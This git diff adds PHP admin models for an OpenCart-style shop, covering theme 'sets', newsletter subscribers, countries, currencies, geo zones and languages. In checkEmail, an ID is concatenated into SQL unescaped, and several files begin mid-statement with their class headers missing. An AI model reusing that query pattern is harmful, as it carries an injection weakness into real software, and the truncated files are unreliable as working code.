+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_set i LEFT JOIN " . DB_PREFIX . "lightshop_set_description id ON (i.set_id = id.set_id) WHERE id.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY id.title");
+
+ $set_data = $query->rows;
+
+ $this->cache->set('lightshopset.' . (int)$this->config->get('config_language_id'), $set_data);
+ }
+
+ return $set_data;
+ }
+ }
+
+ public function getSetDescriptions($set_id) {
+ $set_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_set_description WHERE set_id = '" . (int)$set_id . "'");
+
+ foreach ($query->rows as $result) {
+ $set_description_data[$result['language_id']] = array(
+ 'title' => $result['title'],
+ );
+ }
+
+ return $set_description_data;
+ }
+
+ public function getSetStores($set_id) {
+ $set_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_set_to_store WHERE set_id = '" . (int)$set_id . "'");
+
+ foreach ($query->rows as $result) {
+ $set_store_data[] = $result['store_id'];
+ }
+
+ return $set_store_data;
+ }
+
+
+ public function getTotalSets() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_set");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalNewssByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "lightshop_news_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getProductRelated($news_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "lightshop_news_related WHERE news_id = '" . (int)$news_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function createTable() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set (
+ `set_id` int(11) NOT NULL AUTO_INCREMENT,
+ `mode` int(1) NOT NULL DEFAULT '0',
+ `discount` int(11) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ `status` tinyint(1) NOT NULL DEFAULT '1',
+ `date_added` date NOT NULL,
+ PRIMARY KEY (`set_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set_description (
+ `set_id` int(11) NOT NULL,
+ `language_id` int(11) NOT NULL,
+ `title` varchar(200) NOT NULL,
+ `description` text NOT NULL,
+ `meta_title` varchar(255) NOT NULL,
+ `meta_h1` varchar(255) NOT NULL,
+ `meta_description` varchar(255) NOT NULL,
+ `meta_keyword` varchar(255) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_product_to_set (
+ `set_product_id` int(11) NOT NULL AUTO_INCREMENT,
+ `set_id` int(11) NOT NULL,
+ `row_id` int(11) NOT NULL,
+ `product_id` int(11) NOT NULL,
+ `quantity` int(11) NOT NULL DEFAULT '0',
+ `sort_order` int(3) NOT NULL DEFAULT '0',
+ PRIMARY KEY (`set_product_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set_to_layout (
+ `set_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ `layout_id` int(11) NOT NULL,
+ PRIMARY KEY (`set_id`,`store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_set_to_store (
+ `set_id` int(11) NOT NULL,
+ `store_id` int(11) NOT NULL,
+ PRIMARY KEY (`set_id`,`store_id`)
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS " . DB_PREFIX . "lightshop_news_related (
+ `news_id` int(11) NOT NULL,
+ `related_id` int(11) NOT NULL
+ ) ENGINE=MyISAM DEFAULT CHARSET=utf8;
+ ");
+ }
+
+}
diff --git a/public/admin/model/extension/theme/subscribe.php b/public/admin/model/extension/theme/subscribe.php
new file mode 100644
index 0000000..04a75dd
--- /dev/null
+++ b/public/admin/model/extension/theme/subscribe.php
@@ -0,0 +1,157 @@
+db->query("SELECT * FROM " . DB_PREFIX . "subscribe WHERE subscribe_id='" . (int) $subscribe_id . "'");
+
+ return $query->row;
+ }
+
+ public function getEmailDescription() {
+ $subscribe_descriptions = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "subscribe_email_description");
+
+ foreach ($query->rows as $result) {
+ $subscribe_descriptions[$result['language_id']] = $result['subscribe_descriptions'];
+ }
+
+ return $subscribe_descriptions;
+ }
+
+ public function addEmailDescription($descriptions) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "subscribe_email_description");
+
+ foreach ($descriptions as $language_id => $description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "subscribe_email_description SET subscribe_descriptions = '" . $this->db->escape($description) . "', language_id = '" . (int) $language_id . "'");
+ }
+ }
+
+ public function getAuthDescription() {
+ $subscribe_authorization = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "subscribe_auth_description");
+
+ foreach ($query->rows as $result) {
+ $subscribe_authorization[$result['language_id']] = $result['subscribe_authorization'];
+ }
+
+ return $subscribe_authorization;
+ }
+
+ public function addAuthDescription($descriptions) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "subscribe_auth_description");
+
+ foreach ($descriptions as $language_id => $description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "subscribe_auth_description SET subscribe_authorization = '" . $this->db->escape($description) . "', language_id = '" . (int) $language_id . "'");
+ }
+ }
+
+ public function addSubscribe($data) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "subscribe SET email = '" . $this->db->escape($data['email']) . "', status = '" . (int) $data['status'] . "'");
+ }
+
+ public function editSubscribe($subscribe_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "subscribe SET email = '" . $this->db->escape($data['email']) . "', status = '" . (int) $data['status'] . "' WHERE subscribe_id = '" . (int) $subscribe_id . "'");
+ }
+
+ public function deleteSubscribe($subscribe_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "subscribe WHERE subscribe_id = '" . (int) $subscribe_id . "'");
+ }
+
+ public function getSubscribers($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "subscribe ";
+
+ $sort_data = array(
+ 'name',
+ 'status'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= "ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY email";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int) $data['start'] . "," . (int) $data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalSubscibe($data = array()) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "subscribe`");
+
+ return $query->row['total'];
+ }
+
+ public function checkEmail($email, $subscribe_id) {
+ $sql = "SELECT email FROM " . DB_PREFIX . "subscribe WHERE email='" . $this->db->escape($email) . "'";
+
+ if ($subscribe_id) {
+ $sql .= " AND subscribe_id !='" . $subscribe_id . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return isset($query->row['email']) ? $query->row['email'] : 0;
+ }
+
+ public function tableExists() {
+ $query = $this->db->query("SHOW TABLES LIKE '" . DB_PREFIX . "subscribe'");
+
+ return $query->num_rows;
+ }
+
+ public function installSubscribe() {
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "subscribe` (
+ `subscribe_id` int(11) NOT NULL AUTO_INCREMENT,
+ `email` text NOT NULL ,
+ `status` tinyint(1) NOT NULL,
+ PRIMARY KEY (`subscribe_id`)
+ ) DEFAULT COLLATE=utf8_general_ci;");
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "subscribe_email_description` (
+ `subscribe_desc_id` int(11) NOT NULL AUTO_INCREMENT,
+ `language_id` int(2) NOT NULL,
+ `subscribe_descriptions` MEDIUMTEXT NOT NULL,
+ PRIMARY KEY (`subscribe_desc_id`)
+ ) DEFAULT COLLATE=utf8_general_ci;");
+
+ $this->db->query("
+ CREATE TABLE IF NOT EXISTS `" . DB_PREFIX . "subscribe_auth_description` (
+ `subscribe_auth_id` int(11) NOT NULL AUTO_INCREMENT,
+ `language_id` int(2) NOT NULL,
+ `subscribe_authorization` MEDIUMTEXT NOT NULL,
+ PRIMARY KEY (`subscribe_auth_id`)
+ ) DEFAULT COLLATE=utf8_general_ci;");
+ }
+
+ public function uninstallSubscribe() {
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "subscribe`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "subscribe_email_description`");
+ $this->db->query("DROP TABLE IF EXISTS `" . DB_PREFIX . "subscribe_auth_description`");
+ }
+
+}
+
+?>
diff --git a/public/admin/model/localisation/country.php b/public/admin/model/localisation/country.php
new file mode 100644
index 0000000..065ddf0
--- /dev/null
+++ b/public/admin/model/localisation/country.php
@@ -0,0 +1,86 @@
+db->query("INSERT INTO " . DB_PREFIX . "country SET name = '" . $this->db->escape($data['name']) . "', iso_code_2 = '" . $this->db->escape($data['iso_code_2']) . "', iso_code_3 = '" . $this->db->escape($data['iso_code_3']) . "', address_format = '" . $this->db->escape($data['address_format']) . "', postcode_required = '" . (int)$data['postcode_required'] . "', status = '" . (int)$data['status'] . "'");
+
+ $this->cache->delete('country');
+
+ return $this->db->getLastId();
+ }
+
+ public function editCountry($country_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "country SET name = '" . $this->db->escape($data['name']) . "', iso_code_2 = '" . $this->db->escape($data['iso_code_2']) . "', iso_code_3 = '" . $this->db->escape($data['iso_code_3']) . "', address_format = '" . $this->db->escape($data['address_format']) . "', postcode_required = '" . (int)$data['postcode_required'] . "', status = '" . (int)$data['status'] . "' WHERE country_id = '" . (int)$country_id . "'");
+
+ $this->cache->delete('country');
+ }
+
+ public function deleteCountry($country_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "country WHERE country_id = '" . (int)$country_id . "'");
+
+ $this->cache->delete('country');
+ }
+
+ public function getCountry($country_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "country WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCountries($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "country";
+
+ $sort_data = array(
+ 'name',
+ 'iso_code_2',
+ 'iso_code_3'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $country_data = $this->cache->get('country.admin');
+
+ if (!$country_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "country ORDER BY name ASC");
+
+ $country_data = $query->rows;
+
+ $this->cache->set('country.admin', $country_data);
+ }
+
+ return $country_data;
+ }
+ }
+
+ public function getTotalCountries() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "country");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/currency.php b/public/admin/model/localisation/currency.php
new file mode 100644
index 0000000..c6d9b7a
--- /dev/null
+++ b/public/admin/model/localisation/currency.php
@@ -0,0 +1,169 @@
+db->query("INSERT INTO " . DB_PREFIX . "currency SET title = '" . $this->db->escape($data['title']) . "', code = '" . $this->db->escape($data['code']) . "', symbol_left = '" . $this->db->escape($data['symbol_left']) . "', symbol_right = '" . $this->db->escape($data['symbol_right']) . "', decimal_place = '" . $this->db->escape($data['decimal_place']) . "', value = '" . $this->db->escape($data['value']) . "', status = '" . (int)$data['status'] . "', date_modified = NOW()");
+
+ $currency_id = $this->db->getLastId();
+
+ if ($this->config->get('config_currency_auto')) {
+ $this->refresh(true);
+ }
+
+ $this->cache->delete('currency');
+
+ return $currency_id;
+ }
+
+ public function editCurrency($currency_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "currency SET title = '" . $this->db->escape($data['title']) . "', code = '" . $this->db->escape($data['code']) . "', symbol_left = '" . $this->db->escape($data['symbol_left']) . "', symbol_right = '" . $this->db->escape($data['symbol_right']) . "', decimal_place = '" . $this->db->escape($data['decimal_place']) . "', value = '" . $this->db->escape($data['value']) . "', status = '" . (int)$data['status'] . "', date_modified = NOW() WHERE currency_id = '" . (int)$currency_id . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function deleteCurrency($currency_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "currency WHERE currency_id = '" . (int)$currency_id . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function getCurrency($currency_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "currency WHERE currency_id = '" . (int)$currency_id . "'");
+
+ return $query->row;
+ }
+
+ public function getCurrencyByCode($currency) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "currency WHERE code = '" . $this->db->escape($currency) . "'");
+
+ return $query->row;
+ }
+
+ public function editValueByCode($code, $value) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "currency` SET `value` = '" . (float)$value . "', `date_modified` = NOW() WHERE `code` = '" . $this->db->escape((string)$code) . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function getCurrencies($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "currency";
+
+ $sort_data = array(
+ 'title',
+ 'code',
+ 'value',
+ 'date_modified'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY title";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $currency_data = $this->cache->get('currency');
+
+ if (!$currency_data) {
+ $currency_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "currency ORDER BY title ASC");
+
+ foreach ($query->rows as $result) {
+ $currency_data[$result['code']] = array(
+ 'currency_id' => $result['currency_id'],
+ 'title' => $result['title'],
+ 'code' => $result['code'],
+ 'symbol_left' => $result['symbol_left'],
+ 'symbol_right' => $result['symbol_right'],
+ 'decimal_place' => $result['decimal_place'],
+ 'value' => $result['value'],
+ 'status' => $result['status'],
+ 'date_modified' => $result['date_modified']
+ );
+ }
+
+ $this->cache->set('currency', $currency_data);
+ }
+
+ return $currency_data;
+ }
+ }
+
+ public function refresh($force = false) {
+ $currency_data = array();
+
+ if ($force) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "currency WHERE code != '" . $this->db->escape($this->config->get('config_currency')) . "'");
+ } else {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "currency WHERE code != '" . $this->db->escape($this->config->get('config_currency')) . "' AND date_modified < '" . $this->db->escape(date('Y-m-d H:i:s', strtotime('-1 day'))) . "'");
+ }
+
+ foreach ($query->rows as $result) {
+ $currency_data[] = $this->config->get('config_currency') . $result['code'] . '=X';
+ $currency_data[] = $result['code'] . $this->config->get('config_currency') . '=X';
+ }
+
+ $curl = curl_init();
+
+ curl_setopt($curl, CURLOPT_URL, 'http://download.finance.yahoo.com/d/quotes.csv?s=' . implode(',', $currency_data) . '&f=sl1&e=.json');
+ curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($curl, CURLOPT_HEADER, false);
+ curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
+ curl_setopt($curl, CURLOPT_TIMEOUT, 30);
+
+ $content = curl_exec($curl);
+
+ curl_close($curl);
+
+ $line = explode("\n", trim($content));
+
+ for ($i = 0; $i < count($line); $i = $i + 2) {
+ $currency = utf8_substr($line[$i], 4, 3);
+ $value = utf8_substr($line[$i], 11, 6);
+
+ if ((float)$value < 1 && isset($line[$i + 1])) {
+ if((float)utf8_substr($line[$i + 1], 11, 6) > 0) {
+ $value = (1 / (float)utf8_substr($line[$i + 1], 11, 6));
+ } else {
+ $value = 0;
+ }
+ }
+
+ if ((float)$value) {
+ $this->db->query("UPDATE " . DB_PREFIX . "currency SET value = '" . (float)$value . "', date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "' WHERE code = '" . $this->db->escape($currency) . "'");
+ }
+ }
+
+ $this->db->query("UPDATE " . DB_PREFIX . "currency SET value = '1.00000', date_modified = '" . $this->db->escape(date('Y-m-d H:i:s')) . "' WHERE code = '" . $this->db->escape($this->config->get('config_currency')) . "'");
+
+ $this->cache->delete('currency');
+ }
+
+ public function getTotalCurrencies() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "currency");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/geo_zone.php b/public/admin/model/localisation/geo_zone.php
new file mode 100644
index 0000000..d682641
--- /dev/null
+++ b/public/admin/model/localisation/geo_zone.php
@@ -0,0 +1,130 @@
+db->query("INSERT INTO " . DB_PREFIX . "geo_zone SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', date_added = NOW()");
+
+ $geo_zone_id = $this->db->getLastId();
+
+ if (isset($data['zone_to_geo_zone'])) {
+ foreach ($data['zone_to_geo_zone'] as $value) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "' AND country_id = '" . (int)$value['country_id'] . "' AND zone_id = '" . (int)$value['zone_id'] . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "zone_to_geo_zone SET country_id = '" . (int)$value['country_id'] . "', zone_id = '" . (int)$value['zone_id'] . "', geo_zone_id = '" . (int)$geo_zone_id . "', date_added = NOW()");
+ }
+ }
+
+ $this->cache->delete('geo_zone');
+
+ return $geo_zone_id;
+ }
+
+ public function editGeoZone($geo_zone_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "geo_zone SET name = '" . $this->db->escape($data['name']) . "', description = '" . $this->db->escape($data['description']) . "', date_modified = NOW() WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ if (isset($data['zone_to_geo_zone'])) {
+ foreach ($data['zone_to_geo_zone'] as $value) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "' AND country_id = '" . (int)$value['country_id'] . "' AND zone_id = '" . (int)$value['zone_id'] . "'");
+
+ $this->db->query("INSERT INTO " . DB_PREFIX . "zone_to_geo_zone SET country_id = '" . (int)$value['country_id'] . "', zone_id = '" . (int)$value['zone_id'] . "', geo_zone_id = '" . (int)$geo_zone_id . "', date_added = NOW()");
+ }
+ }
+
+ $this->cache->delete('geo_zone');
+ }
+
+ public function deleteGeoZone($geo_zone_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ $this->cache->delete('geo_zone');
+ }
+
+ public function getGeoZone($geo_zone_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->row;
+ }
+
+ public function getGeoZones($data = array()) {
+ if ($data) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "geo_zone";
+
+ $sort_data = array(
+ 'name',
+ 'description'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ } else {
+ $geo_zone_data = $this->cache->get('geo_zone');
+
+ if (!$geo_zone_data) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "geo_zone ORDER BY name ASC");
+
+ $geo_zone_data = $query->rows;
+
+ $this->cache->set('geo_zone', $geo_zone_data);
+ }
+
+ return $geo_zone_data;
+ }
+ }
+
+ public function getTotalGeoZones() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "geo_zone");
+
+ return $query->row['total'];
+ }
+
+ public function getZoneToGeoZones($geo_zone_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getTotalZoneToGeoZoneByGeoZoneId($geo_zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone_to_geo_zone WHERE geo_zone_id = '" . (int)$geo_zone_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalZoneToGeoZoneByCountryId($country_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone_to_geo_zone WHERE country_id = '" . (int)$country_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalZoneToGeoZoneByZoneId($zone_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "zone_to_geo_zone WHERE zone_id = '" . (int)$zone_id . "'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/localisation/language.php b/public/admin/model/localisation/language.php
new file mode 100644
index 0000000..ad3f719
--- /dev/null
+++ b/public/admin/model/localisation/language.php
@@ -0,0 +1,307 @@
+db->query("INSERT INTO " . DB_PREFIX . "language SET name = '" . $this->db->escape($data['name']) . "', code = '" . $this->db->escape($data['code']) . "', locale = '" . $this->db->escape($data['locale']) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "'");
+
+ $this->cache->delete('catalog.language');
+ $this->cache->delete('admin.language');
+
+ $language_id = $this->db->getLastId();
+
+ // Attribute
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $attribute) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_description SET attribute_id = '" . (int)$attribute['attribute_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($attribute['name']) . "'");
+ }
+
+ // Attribute Group
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_group_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $attribute_group) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_group_description SET attribute_group_id = '" . (int)$attribute_group['attribute_group_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($attribute_group['name']) . "'");
+ }
+
+ $this->cache->delete('attribute');
+
+ // Banner
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "banner_image WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $banner_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "banner_image SET banner_id = '" . (int)$banner_image['banner_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($banner_image['title']) . "', link = '" . $this->db->escape($banner_image['link']) . "', image = '" . $this->db->escape($banner_image['image']) . "', sort_order = '" . (int)$banner_image['sort_order'] . "'");
+ }
+
+ $this->cache->delete('banner');
+
+ // Category
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $category) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_description SET category_id = '" . (int)$category['category_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($category['name']) . "', description = '" . $this->db->escape($category['description']) . "', meta_title = '" . $this->db->escape($category['meta_title']) . "', meta_description = '" . $this->db->escape($category['meta_description']) . "', meta_keyword = '" . $this->db->escape($category['meta_keyword']) . "'");
+ }
+
+ $this->cache->delete('category');
+
+ // Customer Group
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "customer_group_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $customer_group) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "customer_group_description SET customer_group_id = '" . (int)$customer_group['customer_group_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($customer_group['name']) . "', description = '" . $this->db->escape($customer_group['description']) . "'");
+ }
+
+ // Custom Field
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $custom_field) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_description SET custom_field_id = '" . (int)$custom_field['custom_field_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($custom_field['name']) . "'");
+ }
+
+ // Custom Field Value
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "custom_field_value_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $custom_field_value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "custom_field_value_description SET custom_field_value_id = '" . (int)$custom_field_value['custom_field_value_id'] . "', language_id = '" . (int)$language_id . "', custom_field_id = '" . (int)$custom_field_value['custom_field_id'] . "', name = '" . $this->db->escape($custom_field_value['name']) . "'");
+ }
+
+ // Download
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "download_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $download) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download['download_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($download['name']) . "'");
+ }
+
+ // Filter
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $filter) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_description SET filter_id = '" . (int)$filter['filter_id'] . "', language_id = '" . (int)$language_id . "', filter_group_id = '" . (int)$filter['filter_group_id'] . "', name = '" . $this->db->escape($filter['name']) . "'");
+ }
+
+ // Filter Group
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_group_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $filter_group) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_group_description SET filter_group_id = '" . (int)$filter_group['filter_group_id'] . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($filter_group['name']) . "'");
+ }
+
+ // Information
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "information_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $information) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "information_description SET information_id = '" . (int)$information['information_id'] . "', language_id = '" . (int)$language_id . "', title = '" . $this->db->escape($information['title']) . "', description = '" . $this->db->escape($information['description']) . "', meta_title = '" . $this->db->escape($information['meta_title']) . "', meta_description = '" . $this->db->escape($information['meta_description']) . "', meta_keyword = '" . $this->db->escape($information['meta_keyword']) . "'");
+ }
+
+ $this->cache->delete('information');
+
+ // Length
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "length_class_description WHERE language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ foreach ($query->rows as $length) {
